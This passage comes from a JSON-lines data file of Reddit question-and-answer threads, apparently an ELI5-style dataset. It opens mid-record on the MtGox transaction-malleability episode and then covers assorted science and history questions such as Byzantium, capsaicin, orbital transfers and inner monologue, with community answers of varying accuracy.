\"accepted\", tweak it enough that the transaction code changes but the important contents that make everything work stays the same and resend it back into the network to hope that it gets accepted before the official/original transaction does. IF MtGox were watching the network correctly and tracking a transaction by the Sender+Receiver+Amount+Timestamp fields instead of the combined \"transaction code\", they wouldn't have had the problem.\n\nThe cherry on top: MtGox was sold to Mark Karpeles in ~2011. Which is about the time it was discovered and documented that the network would accept these modified transactions. Mark Karpeles is also a board member of the Bitcoin Foundation, the exact people who could have added a solution to the Bitcoin network/protocol to solidify the transaction codes. But in ~3 years, did nothing from either MtGox side[fix his code], nor the Bitcoin[update everyone else's codes] side to prevent this known issue. Now someone has reportedly abused the glitch when they discovered the MtGox has been incorrectly doing this for ~3 years[but there's no available evidence to the length of this abuse]. This has led to a lack of faith in MtGox and in turn a panic response that MtGox may not actually have the Bitcoin or $$$ to match the money that has supposedly been given to them. So if 100 people gave MtGox $5, and someone's been abusing this for a week. If a week later everyone wants to cash out to buy coffee, 7+ people may not get their coffee.\n\nSo in theory, if you called MtGox, and asked them to tell you who you[Sender] sent 5 BTC[Amount] to on 1/20/2014@11:00AM[timestamp], they couldn't tell you. Or if you asked when did you[Sender] last send your brother[Receiver] 5BTC[Amount], they couldn't answer that either.\n\nAhhh crap, i was hoping to write the above shorter than everyone else...\n\ntl;dr It's like writing a check, but instead of banks paying out the check writer does. MtGox's auto system has been paying out, but incorrectly keeping the log of checks[by check id] it's payed out, so someone could effectively request their money be paid, change the check's id number, cash the \"check\", call MtGox and say \"The check failed to pay out\". So MtGox pays out again because they can't find the record of it, they have been tracking the network by check ID's instead of the data on the check itself. The owner of MtGox had a couple different options to fix it, and it's been a known aspect of the system for ~3 years, but there's no evidence he tried to either fix MtGox's tracking systems, nor tried to get Bitcoin to solidify the check ID's. When it got out that MtGox was doing this wrong, the owner blamed Bitcoin itself, instead of taking responsibility for their bad practices. Now people don't think MtGox has enough money to pay back everyone so they are panicking now. \n\nEdit: played with a phrase", "To da moon"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1tnhgd", "title": "Considering the History of Byzantium, Was it really the continuing of the Roman Empire after the split, or an Empire that broke away completely?", "selftext": "Seeing that the Byzantium had more roots of Greek culture rather than Roman culture, I'm interested in knowing if they were considered direct descending empire from the Roman Empire. Another question: Is the Holy Roman Empire in any sense related to the Roman Empire we commonly know or was it unrelated?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tnhgd/considering_the_history_of_byzantium_was_it/", "answers": {"a_id": ["ce9q00h", "ce9q5pd"], "score": [10, 17], "text": ["Considered by whom?\n\nThe Byzantines considered their empire to be *the* Roman Empire, since there was unbroken rule from the Roman Empire to theirs. The relocation of the capital to Constantinople started a process that shifted the 'gravitational' centre of the Empire to the East long before the fall of the Western Empire in the 5th century, but for all its Greek-ness, the Eastern Empire considered itself 'the Empire', and 'Roman'. There wasn't an internal sense that they weren't the direct descendant of Rome at all.\n\nIn the West, another story is at play. You have the formal end of the Western Empire in 476 when Romulus Augustus is forced to abidicate, but the Western Empire ceased to function as considerably earlier. The title of Emperor was revived briefly under Charlemagne, but barely outlived his death. You then have Otto I crowned Emperor of the Romans in 962. *Europeans* saw this as a revival of the Roman state, based on the transfer of power, legitimisation by the Pope, and a cultural overlay of Romanity with Western Catholicism centered on Rome. Of course, the Byzantines had been holding the office of Emperor of the Romans all this time, so we none too pleased.\n\n", "Just as a FYI, whenever I see the word \"really\" in a question, it tends to red flag to me that it's going to get complicated and contentious, as the word is basically a challenge for iconoclasts and iconophiles to gather and deathmatch for the amusement (and sometimes education) of the OP.\n\nIn a nutshell, the answer to a question of \"was it really?\" will always be \"depends\".  This case is no different.\n\nMuch hinges upon definitions, of which nobody is in firm agreement on.  What constitutes a Roman?  What constitutes an empire?  What constitutes continuance?  What constitutes a split?  \n\nYour choice of how to answer these questions of definition, will ultimately reframe the question to a particular answer, as well as lead to even more questions.  \n\nNot to mention, that history is always being used to legitimize the present, thus the answer to your question, is also political.  Some people/ideologies/cultures/states have vested interests in claiming  continuity or discontinuity of the empire.\n\nThis being no different on Reddit, of which some have a particularly defensive attitude towards the Byzantines, that some of us AHers here have theorized comes from a certain affinity for particular factions in computer wargames (thank you Total War and Paradox Interactive).\n\nPut another way, the academics don't even agree on the answer to this question.  I seriously doubt we'll be able to resolve it on Reddit either.\n\nBut lets just say, in the interests of giving you an answer (albeit an unsatisfactory one), that:\n\nA case can be made for either of those positions.  But there is no consensus.  Nor will there probably ever be one, because of the useful political hot potato the Roman Empire is and likely will be in the forseeable future to people interested in making the Roman Empire a precedent for their views."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3kls53", "title": "why don't seizures cause the heart to spasm erratically like other muscles?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kls53/eli5_why_dont_seizures_cause_the_heart_to_spasm/", "answers": {"a_id": ["cuygzz1", "cuyh0re", "cuyh686"], "score": [33, 9, 4], "text": ["Seizures start in the brain and send electrical signals to the muscles. But the heart has its own separate electrical system.", "Other muscles are under voluntary control; heartbeat is controlled by a signal from the brain which comes down a special nerve, the [vagus nerve](_URL_0_).", "You have a central nervous system (brain, spinal cord) and a peripheral nervous system (consisting of an autonomic and a somatic nervous system).  Siezures only route signals from the brain through the somatic system which includes only sensory and motor neurons.  The autonomic system, which includes your heart muscles, operates independently of these rogue signals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.healthline.com/human-body-maps/vagus-nerve"], []]}
{"q_id": "dkz42y", "title": "if depression, anxiety etc are classified as \"negative/bad\" mental disorders, why aren't there \"positive/good\" mental disorders like \"extreme positivity syndrome?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dkz42y/eli5_if_depression_anxiety_etc_are_classified_as/", "answers": {"a_id": ["f4kte6p", "f4ky6w9", "f4kylyo", "f4l0hom", "f4l1yi6", "f4l25mv", "f4l8hp0"], "score": [81, 56, 9, 13, 4, 21, 2], "text": ["Well there kind of is. Bipolar I disorder, despite the name, does not actually require any depressive episodes. Just a manic episode. Extremely high levels of energy, impulsiveness, your words seem to just tumble out of your mouth because you can\u2019t get them out fast enough, you think you can conquer the world, and you never need to sleep because there\u2019s just so much you can be doing instead.", "Sure there is:\n\nPronoia is a [neologism](_URL_1_) coined to describe a state of mind that is the opposite of [paranoia](_URL_0_). Whereas a person suffering from paranoia feels that persons or entities are conspiring against them, a person experiencing pronoia feels that the world around them conspires to do them good.\n\nAnd please don't upvote or my Pronoia could worsen...", "How could you have a \"positive/good\" disorder? Wouldn't that just be an *order*?\n\nSecondly, there aren't any labels for someone who doesn't have any negative mental disorders for the same reason there is no medical diagnosis for a person who is in good physical health.", "There are Delusions of Grandeur that fits pretty close with \"extreme positivity syndrome.\"  However, I do think in America there is a positivity bias.  Poor people are often prescribed anti-depressants whereas they are likely just having a normal reaction to poverty and oppression. Meanwhile, no one ever corrects the mindset of those who make way too much for doing way too little.", "The opposite of poor mental health is good mental health. I.e. Not having a disorder.\n\nSame with physical illness. Having a cold=bad. Not having a cold=good.", "Part of the definition of a disorder means that it makes your life worse. So if you had a condition with no down sides, it couldn't be a disorder.", "Mostly because the traits or symptoms that encompass a disorder need to be interfering in your life negatively to be a disorder."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Paranoia", "https://en.m.wikipedia.org/wiki/Neologism"], [], [], [], [], []]}
{"q_id": "26wid5", "title": "How seriously did people take the \"predictions\" of Nostradamus during his lifetime?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26wid5/how_seriously_did_people_take_the_predictions_of/", "answers": {"a_id": ["chvf8mt"], "score": [6], "text": ["Considerably seriously. Nostramame was originally into medicine, but when he moved to Italy he Latinised his name to Nostradamus. Under this name he began to publish almanacs, which were rather popular amongst nobles and the ruling class. As silly as this sounds, him having a Latin sounding name actually did help him gain credibility, because in his time era, anything associated with Latin was considered scholarly. Many nobles even sent away for his almanacs, and his worls were rarely out of print after his death."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "l7ppg", "title": "Capsaicinoids make you feel like you're burning, but can they really harm you?", "selftext": "If you could tolerate the pain, is it possible to blister and scar if you persistently ingest really spicy foods?  Besides the mouth, how about the hands while preparing.  What about an open wound getting capsaicinoids inside?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l7ppg/capsaicinoids_make_you_feel_like_youre_burning/", "answers": {"a_id": ["c2qh740", "c2qhzgf", "c2qiex2", "c2qh740", "c2qhzgf", "c2qiex2"], "score": [18, 9, 3, 18, 9, 3], "text": ["The pain produced by Capsaicinoids is due to it binding to the very same receptors (thus activation of the same sensory nerves) that are activated when the body feels extreme heat.  While the Capsaicinoids don't directly do any tissue damage, your body thinks its being burned and it may produce swelling, which could possibly lead to some issues.\n\nI'm not 100% sure on Capsaicinoids in an open wound but I have two hypothesis and they depend on the location of thermoreceptors in the body.  One is that it would be extremely painful due to there being more sensitive temperature receptors deeper in the skin that would be activated by the Capsaicinoids.   \nThe second is that there would be no difference because the majority of thermoreceptors are close to the surface of the skin, so the Capsaicinoids don't have anything extra to interact with inside the body.\n\nAnyone know exactly what would happen with a wound?\n", "Consumption of very spicy foods and a diet containing high amounts of chili are positively associated with the risk of esophageal cancer. PMID: 11759281 ", "I had oleoresin capsaicin sprayed into my eyes, and while the pain lasted a good 14 hours, there were no residual effects. ", "The pain produced by Capsaicinoids is due to it binding to the very same receptors (thus activation of the same sensory nerves) that are activated when the body feels extreme heat.  While the Capsaicinoids don't directly do any tissue damage, your body thinks its being burned and it may produce swelling, which could possibly lead to some issues.\n\nI'm not 100% sure on Capsaicinoids in an open wound but I have two hypothesis and they depend on the location of thermoreceptors in the body.  One is that it would be extremely painful due to there being more sensitive temperature receptors deeper in the skin that would be activated by the Capsaicinoids.   \nThe second is that there would be no difference because the majority of thermoreceptors are close to the surface of the skin, so the Capsaicinoids don't have anything extra to interact with inside the body.\n\nAnyone know exactly what would happen with a wound?\n", "Consumption of very spicy foods and a diet containing high amounts of chili are positively associated with the risk of esophageal cancer. PMID: 11759281 ", "I had oleoresin capsaicin sprayed into my eyes, and while the pain lasted a good 14 hours, there were no residual effects. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4vj2zu", "title": "why does the federal government ban the use of growth hormones in pork  &  poultry but not in beef  &  sheep?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vj2zu/eli5_why_does_the_federal_government_ban_the_use/", "answers": {"a_id": ["d5yzpnh"], "score": [25], "text": ["Look at it the other way, it isn't that one is banned and not the other - it is that one is allowed and not the other.\n\nLets say you have a box of crayons. Being 5 years old, you eat all the green ones. You take your daily poop and your mom notices your poop is green. She no longer lets you have crayons anymore because it doesn't look safe. Your best friend still has crayons, and (s)he eats all the green ones. Their poop doesn't change colors, maybe because they processed it better or their diet diluted the colors. Their mom doesn't notice anything dangerous with their poop so no harm, no foul (intended). \n\n\nBasically - hormones used in cows/sheep had their biproducts (meat, etc) tested by the FDA and the toxin levels were below threshold and deemed safe. Poultry/pork was tested and it was above threshold, so they don't allow it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "58klc1", "title": "why does running long distance kill my appetite?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58klc1/eli5_why_does_running_long_distance_kill_my/", "answers": {"a_id": ["d916cum", "d9171bl", "d919ofk", "d91a35j", "d91auak"], "score": [13, 22, 5, 3, 2], "text": ["Because your body diverts blood supply from non-essential processes to maximise oxygen and sugar to the major muscles that you are using. These non-essential processes include digestion and may also result in shrinking the stomach capacity.\n", "Digesting food takes energy. After a long run, the body is too tired to worry about processing food. That is why some people use energy gels or liquid/pureed food after high intensity exercise - it takes less work for your body to digest.\n\nAt high elevation (summit night on Mt Everest) the body is so focused on survival that it can't digest food. If people did eat, the food would literally just rot in their stomach - no digestion, no moving the food through the intestines. Sherpa tea usually has melted butter or ghee - liquid calories which is easier to absorb.\n\nTry simple near-liquid carbs to prime your stomach - jello, smoothies, maybe yogurt.\n\n", "From my understanding, you go into ketogenic state. You burn off all the carbs and you start burning fat. When carbs are depleting you get hungry. When you completely run out of carbs you're body goes to fat for energy and you're in keto. Being in keto you're far less hungry.  ", "When I ran my first marathon I planned to have an enormous dinner afterward, as I didn't do the whole spaghetti carb up before hand. Nevertheless, I could barely finish half of what I ordered. Even the following day I didn't have much of an appetite. But a few days later I was like a vacuum cleaner inhaling everything in sight!", "Some animals have the strongest bite, or the sharpest eyes. These animals stand out for their exceptional ability. Aside from intelligence, humans are the best in the animal kingdom at one other thing: long-distance running. Humans are the best long-distance runners in the world\u2014we have the best stamina for running of any animal. Humans can, with the exception of sprinting, outrun both prey and predators 100% of the time. If you chase a deer across open country barefooted, eventually it will collapse from exhaustion and you will be able to kill it with your bare hands.\n\nWe've evolved this trait over many thousands of years and it has served us well. It has shaped our bodies. It has shaped our culture: imagine human warfare if marching were impossible beyond a period of 15-20 minutes.\n\nConsequently, your body has many adaptations that make it better at running. Digesting food? That takes energy. If we're running long-distance, we must be chasing prey or escaping a predator... right? Processing food doesn't matter right now.\n\nOf course your appetite won't be suppressed by swimming, or lifting weights, or whatever\u2014those things aren't running. Running is a special human activity.\n\nTo paraphrase a certain American politician, your body has ways of shutting it down because it 'knows' what's going on.\n\nTL;DR: humans are extremely specialised runners, moreso than any other animal, and, consequently, shut down unnecessary bodily functions during prolonged running to conserve energy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "y8fhp", "title": "If I installed a small inline turbine at the entrance of the municipal water supply to my home, how much energy could I generate?", "selftext": "Just to throw some numbers out there... let's say the water enters my house at 150 psi, I want my post-turbine plumbing to have at least 70 psi, and I use 400 gallons/day.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y8fhp/if_i_installed_a_small_inline_turbine_at_the/", "answers": {"a_id": ["c5td01i", "c5tday2", "c5tdfsd", "c5tfgco", "c5tfosn", "c5th14j"], "score": [72, 5, 6, 7, 2, 3], "text": ["This would essentially be same thing as a turbine in a hydroelectric dam.  _URL_0_ gives a formula for determining potential power generated.\n\n\n400 gal/day = 1.75 E-5 m^3 /s, from wolframalpha, gives us qdot\n\n80 lb/in^2 (the difference in the inlet/outlet pressure) is equal to a water column of 56.24 meters, from wolframalpha, gives us h\n\nDensity of water is about 1000 kg/m^3 , gives us rho\n\nMagical christmasland says eta will be 100%.\n\n\nMultiplying all of the numbers together gives me a whopping 9.65 watts.  This is with a perfect turbine.\n\n\nSo not much power is available.\n\n\nPS isn't 150psi like a firehose or something?\n", "[Wikipedia's article on water turbines](_URL_1_) is a good starting place.  If we use the equation provided in the [power](_URL_1_) section and under 100% turbine efficiency, we see that\n\nPower=(1)( 1000kg/m^3 )( 9.81m/s^2 )(head)(flowrate)\n\nThe [pressure head](_URL_0_) is found by dividing the pressure by the specific weight.  Sticking to SI units:\n\nhead=( 1.03421359mPa )/( 9.804kN/m^3 )=105.489m\n\nGoing back to our original equation, along with the conversion of 400gallons/day to m^3 /s, this comes to be\n\nPower=(1)( 1000kg/m^3 )( 9.81m/s^2 )( 105.489m )( 1.7525x10^-5 m^3 /s )=18.13watts\n\nNow over the span of a day, this would come to be about 0.435 kW-hours.", "As an aside to this question, how many turbines could you put in series, and what would the fall off be for each successive one?", "What if we installed one in our storm water/sewerage systems? Then we'd be getting energy for free, no?", "It doesn't matter where you install the turbine on your property, it would still only move when you used your water. So,  when you took a shower you could take maybe a 16th off your electric bill for having that light on whilst in the shower. Ultimately would be cheaper to shower in the dark. ", "You'd have a better time installing solar panels, and you'd get more energy per dollar spent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Water_turbine#Power"], ["http://en.wikipedia.org/wiki/Pressure_head", "http://en.wikipedia.org/wiki/Water_turbine#Power"], [], [], [], []]}
{"q_id": "1lyn3z", "title": "Hohmann transfer orbit vs Bi-elliptic transfer", "selftext": "So, since I am playing Kerbal Space Program at the moment, I did a little knowledge gain in orbital physics and space flight.\n\nAnd it doesn't get into my head why a Bi-elliptic transfer can be more energetic eficient than a Hohmann transfer.\n\nI understand that the \u0394v needed at the apoapsis of the ellipse is smaller (to raise the periapsis) than in the Hohmann transfer.\n\nBut how can this be more energetic if I burn retrograte later to lower the apoapsis again.\n\nThis doesn't get into my head.\nIf the platet/sun etc has a great gravitational influence, the retrograde burn would be easy, but the first burn would be equally harder.\n\nSo any insight. I tried my luck with google, but I couldn't find an exsample where I could wrap my head around.\n\nThanks :)\n\nTL;DR: Why and in what circumstance can a Bi-elliptic transfer be more energy efficient than aHohmann transfer orbit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lyn3z/hohmann_transfer_orbit_vs_bielliptic_transfer/", "answers": {"a_id": ["cc4d46w"], "score": [2], "text": ["Think of an orbit as an energy system; at periapsis your orbital velocity is the highest (high kinetic energy) while at apoapsis your elevation is the highest (high potential energy), so a higher orbit requires more energy to get to.  The Bi-Elliptic transfer exploits the Oberth Effect by using more \u0394V in a lower orbit, which causes the propellant used during that burn to provide much more kinetic energy (KE=0.5*m*v^2) than that of the first burn of a Hohmann transfer.  If that gain in kinetic energy is greater than the additional energy needed for the other two burns (relative to the second burn of the Hohmann transfer) you will save a bit of your overall \u0394V, but for that to happen your orbital velocity must be much lower during those two final burns, which requires a substantially higher transfer orbit.\n\n[Apparently](_URL_0_),\nthe minimum theoretical orbital increase that the Bi-Elliptic is more efficient for would be a factor of just under 12 times higher (with an infinite transfer orbit), and closer to 13 times higher with a transfer orbit 40 times higher than the initial one (check page 318 for a cool graph). Keep in mind that the altitude that KSP gives you is relative to sea-level so you need to add the planetary radius to get your true orbit: e.g. starting at a 70km orbit above sea level on Kerbin (+600km radius) the lowest orbit a Bi-Elliptic would be more efficient for would be 8000km and the maximum transfer orbit ratio is 110 for that transfer (going to the very edge of Kerbins sphere of influence), so you can see that the Bi-Elliptic will not be frequently used in KSP."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=PJLlWzMBKjkC&amp;pg=PA305&amp;source=gbs_toc_r&amp;cad=4#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "nk4xa", "title": "Can animals feel gratitude?", "selftext": "Whenever I do something that my cat wants, such as feeding her or letting her outside, she always meows. It's not an angry or particularly happy meow; I'd describe it as contented. Is my cat thanking me?\n\nI'm not asking about my cat specifically, but as a general question: Can animals feel gratitude? Can cats and dogs thank us?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nk4xa/can_animals_feel_gratitude/", "answers": {"a_id": ["c39q8af", "c39q8af"], "score": [4, 4], "text": ["This is not my area of expertise - feel free to regard the following as speculation.\n\nFirst you have to define what it means to \"feel gratitude.\" That feelings is contingent on a number of mental processes, having a sense of self, a theory of mind for another and the understanding that the other could have done something differently. \n\nI think the theory of mind (the belief that other beings have agency) is probably the thing with the most theoretical evidence behind it, and I believe that humans are considered fairly unique in this respect (though I've heard speculation that chimps, some whales and maybe even octopuses might have this as well). More likely, your cat's response is something closer to pavlovian conditioning, and may also be a partially naturally selected behavior (domesticated cats that seemed to be thanking their masters were more likely to receive care and attention and more likely to survive).", "This is not my area of expertise - feel free to regard the following as speculation.\n\nFirst you have to define what it means to \"feel gratitude.\" That feelings is contingent on a number of mental processes, having a sense of self, a theory of mind for another and the understanding that the other could have done something differently. \n\nI think the theory of mind (the belief that other beings have agency) is probably the thing with the most theoretical evidence behind it, and I believe that humans are considered fairly unique in this respect (though I've heard speculation that chimps, some whales and maybe even octopuses might have this as well). More likely, your cat's response is something closer to pavlovian conditioning, and may also be a partially naturally selected behavior (domesticated cats that seemed to be thanking their masters were more likely to receive care and attention and more likely to survive)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ggddg", "title": "If I stand on an asteroid hurling through space, will I fall off or move with it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ggddg/if_i_stand_on_an_asteroid_hurling_through_space/", "answers": {"a_id": ["cajyfk0", "cajzob4", "cajzonk", "cak3gab"], "score": [4, 52, 5, 2], "text": ["Assuming you're not near any larger gravitational bodies, and you don't collide with anything, you'll stay on the asteroid. There's no drag to knock you off.", "There are two scenarios to consider here but first you have to more clearly define the hypothetical situation. \n\nFirstly, the asteroid as you said is \"hurling\" through space so I take this to mean traveling very quickly. What happens to you on said asteroid depends entirely on it's mass. Is this a massive asteroid? Let's assume for arguments sake that this is an asteroid say the size of Texas. So large that your mass is now negligible.\n\nNow consider, do you appear on the asteroid with an absolute velocity of zero or does it equal the velocity of the rock? Let's consider both: Velocity of zero. In this situation, you will be jerked toward the asteroid due to it's gravitational pull. But if the velocity of the asteroid is greater than the escape velocity determined by the mass of said rock, then you will watch as the asteroid flies away. If it's moving slower than it's escape velocity, then you will still be pulled toward it, but will sorta fall to it's surface after appearing. How quickly you fall to it's surface is entirely dependent on the velocity of the rock in the first place. This situation would require a bit of calculus to calculate and without numbers it's all speculation.\n\nThe next situation is much simpler. If you appear on the rock with a velocity the same as the rock. Since you would have the same velocity in the same direction, your relative velocity would be zero and you would continue to travel with the rock through space.\n\nDrag is a measure of resistance an object experiences when traveling through a fluid medium. This is really useful here on earth since everything moves through air (or water) which is a fluid, and thus experiences drag. In space there really is no medium for which you are traveling, so there is nothing in your way to give you the resistance known as drag. \n\n*TL;DR:* If you appear with the speed of the asteroid: you keep going with it. If you appear with 0 velocity, and the asteroid is faster than its escape velocity, you wave goodbye. If you appear with 0 velocity and the asteroid is not faster than it's escape velocity, then you wave goodbye, followed immediately by terror as you plummet toward the surface of the asteroid.", "You do realize you are currently standing on an asteroid-like object hurling through space at this very moment. Are you falling off or moving with it?", "Another scenario to consider - Lets assume it is a tiny asteroid, small enough to ride like a horse. He is wearing a standard issue NASA space suit (white) and the asteroid is effectively black. There would be some \"drag\" from the solar wind trying to push him off the asteroid. For simplicity, lets pretend that the area exposed to the solar wind of the asteroid and OP are the same. What force of wind would be trying to push him off?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1kix26", "title": "After a nuclear fission process, do the resulting, lighter nuclei need to get a brand new set of electrons?", "selftext": "The energy of a nuclear reaction seems like it would separate all of the electrons from the nucleus of the original, heavy atom, like passengers flung from a car crash.  Does this mean the new nuclei are an electron-free plasma?  How long does it take for these nuclei to acquire new electrons?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kix26/after_a_nuclear_fission_process_do_the_resulting/", "answers": {"a_id": ["cbpf70p", "cbplz43", "cbpmhkv"], "score": [8, 5, 3], "text": ["The electromagnetic force is pretty powerful actually. Even as the nuclei are ejected, you'd have this positive nucleus and a negative cloud of electrons, and that's pretty attractive. Plus most fission processes happen within a solid material, so there's really not a whole lot of room for the nuclei to move before they're stopped, so the electrons catch up pretty quickly. I don't know the exact timeframes here, but I wouldn't call it at any point a \"plasma\" (excepting the case of a fission bomb, where the reaction gets hot enough to strip electrons from their nuclei)", "Upon fission, the fission fragments (the chunks of nuclei made by splitting the parent nucleus) travel away from one another rapidly. The kinetic energy of these fission fragments is around 180 MeV, about an MeV/nucleon in rough numbers, accounting for most of the energy released in the fission process. While the fragments are moving quite fast (of order 10^9 cm/s), they aren't *so* fast that some of the electrons can't latch on before separation. Consequently, the fission fragments ejected aren't bare nuclei, typically, but rather nuclei with ionization states in the 20s or so (depending on conditions).\n\nThis assumes the parent nuclei begin with most of their electrons (e.g., the fissile material is a solid or weakly ionized plasma). If the nuclei are in a highly ionized plasma, however, such as in the later stages of a supercritical assembly, then the parent nuclei may have only a few bound electrons, the fission fragments will acquire fewer (or no) electrons as they go, and your original picture is more appropriate. \n\nAs for your last question, not only the ionization state of the fragments as they slow down in the surrounding matter, but also how far they go and how long it takes them to stop depend on the properties of the matter through which they travel.\n\nEdit: fixed a grammar mistake in the last sentence. ", "_URL_1_\n\nThe ionisation energies for the innermost electrons are pretty huge. The highest one there is \n\n1*10^6 kJ/mol\n\nFor uranium fission, it releases.\n\n_URL_0_\n\n- 2*10^10 kJ/mol of U-235\n\n_URL_2_\n\nThis paper is somewhat confusing to read, but it seems to imply that at least 20 electrons are stripped from the nucleus of the heavy elements fissioning, perhaps up to 46."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.chem.purdue.edu/gchelp/howtosolveit/Nuclear/Energy_of_Nuclear_Change.htm", "http://en.wikipedia.org/wiki/Ionization_energies_of_the_elements_%28data_page%29", "http://www.jetp.ac.ru/cgi-bin/dn/e_060_01_0007.pdf"]]}
{"q_id": "3kmk99", "title": "In World War II, which country suffered the most civilian deaths?", "selftext": "I have a hunch that we talk more about the bombing of Hiroshima and Nagasaki \nbecause those deaths happened all at once, then left many people ill and poisoned the environment. But I'm wondering if the bombing campaigns in Germany, france, or great Britain actually killed more civilians.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3kmk99/in_world_war_ii_which_country_suffered_the_most/", "answers": {"a_id": ["cuyocdz"], "score": [12], "text": ["The Soviet Union had c. 10 million civilians killed as a result of crimes against humanity; China, c. 7-8 million, and Poland, c. 5 million."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4e21up", "title": "if an individual does not authorize it, how do movie companies make films on the person? for example black mass made a fortune but bulger was not involved.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e21up/eli5_if_an_individual_does_not_authorize_it_how/", "answers": {"a_id": ["d1wbisv"], "score": [40], "text": ["You don't need permission to make a movie about someone in the public eye, although if you cause injury to their reputation they could sue you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ilwto", "title": "Why do some people think using an inner monologue and others simply \"think\"? What's the difference? Is one more advantageous than the other?", "selftext": "Questions sparked by this thread: _URL_0_\n\nWhat is the difference between an inner monologue and simply \"thinking\"? Are there other modes of thought? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ilwto/why_do_some_people_think_using_an_inner_monologue/", "answers": {"a_id": ["c24tex1", "c24trdl", "c24ttim", "c24u1kn", "c24u2gp", "c24u7sk", "c24uhyh", "c24v08n", "c24v34p", "c24v6kh", "c24vefg", "c24vjm3", "c24vyok", "c24w9ep", "c24w9fg", "c24x5a0", "c24x5u2", "c24xpk9"], "score": [75, 95, 29, 6, 14, 3, 3, 5, 2, 4, 3, 22, 2, 2, 2, 2, 2, 3], "text": ["I don't know the source, but this topic came up at informal gathering of psychology researchers that I recently attended. Apparently, most thoughts are actually non-verbal. In a study, researchers would ask people at random intervals to say what they were thinking at that exact moment. It usually wasn't verbal. It was things like what to make for dinner, the temperature, how they were going to perform some task, etc. In fact, they frequently had a hard time verbalizing what they were thinking.\n\n*second hand info, so take with a grain of salt*", "I actually had no idea everyone didn't use an inner monologue. TIL. ", "[Dr. Russell Hurlburt](_URL_0_) actually studies inner experience. It's basically how humans experience consciousness. He developed the Descriptive Experience Sampling method, which tackles what people experience at the \"footlight of consciousness\". I think there are 5 main categories of how people 'experience'. I don't remember everything, but the link should take you to all of the resources.", "I've asked myself that question for a while.\n\nIn the end, it seems like I couldn't not think without using some form of language or words. (In this case english) Most of the things that I think about require me to say it or go through it in my head with an inner monologue. For example, I am saying everything I type in my head, and thinking what I am going to say next.\n\n\nOther times when I'm figuring out how to solve a problem, either a mathematical problem or a puzzle, I would talk myself through the process of how to do it.\n\n\nBut, there are instances where I do not use an inner monologue. When I am playing FPS's, the number one rule I follow is to not \"think\". I don't talk to myself when running around shooting people. I rely on instinct, thinking without thinking about thinking. The reason is, when I start to talk to myself, I become misled and play much poorer than if I were to just play.\n\n\nSo in my case, for many tasks, I use an inner monologue to \"guide\" me through problems, but during situations where I don't have time to either form an inner monologue or think, I simply think- on the fly.\n\nI hope this answers your question!\n\nEdit: I used an inner monologue to form this answer", "Your question reminds me of [this question](_URL_0_) in r/meditation. Top commenter wrote:\n\n > When the voices in my mind stop, and it's just quiet. That experience is not all that 'advanced' or 'deep' or whatever, but it is definitely the one that threw the most light on my self-understanding. I am not that voice in my head, and I can feel that now.\n\nIt's a bit vague but perhaps he is suggesting it's possible to train the brain to think in other ways than inner monologue, which may be preferable for some people. Can't comment on it myself as I haven't experienced this phenomenon.", "My thoughts are spoken all the time except when I am playing guitar. I think I should work on more things that take me out if my head.", "When I'm worried, I tend to overthink in sentences. A quick solution I've found is to force myself to think in my non-dominant language. After 2 sentences, I get annoyed and frustrated, and just stop having an inner monologue.", "I can do both. I'm getting to where I can almost count without thinking numbers.  I work in a bank and the most time-consuming part of counting bills is the time it takes to \"say\" each number in my head.  I know my brain can keep track without putting the words to it, because the concept of 5 is separate from the word \"five,\" but where I get hung up is trusting myself to know that I've done it right. \n\nI'm working on it though.\n\nOn a side note, why did we make the names for numbers so long? Why should the word for 17 have three syllables when it's not a very high number?", "I usually don't have an inner monologue. One exception is sometimes when I'm studying. You know how they say the best way to learn something is to teach it to someone else? I pretend to teach the material to some imaginary person in my head using an inner monologue.\n\nI actually prefer teaching an imaginary person in my head over a real person because often my first attempt to explain something is hopelessly verbose and convoluted. In my head I can keep answering the same question over and over until I have a concise, intuitive answer. That's when I know I really understand something. I find this method of studying 